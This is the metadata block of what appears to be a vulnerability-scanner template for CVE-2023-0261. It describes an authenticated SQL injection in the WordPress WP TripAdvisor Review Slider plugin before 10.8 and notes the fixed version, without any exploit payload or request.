id: CVE-2023-0261

info:
  name: WordPress WP TripAdvisor Review Slider <10.8 - Authenticated SQL Injection
  author: theamanrawat
  severity: high
  description: |
    WordPress WP TripAdvisor Review Slider plugin before 10.8 is susceptible to authenticated SQL injection. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as subscriber. This can lead, in turn, to obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an authenticated attacker to execute arbitrary SQL queries on the WordPress database, potentially leading to unauthorized access, data manipulation, or privilege escalation.
  remediation: Fixed in version 10.8.
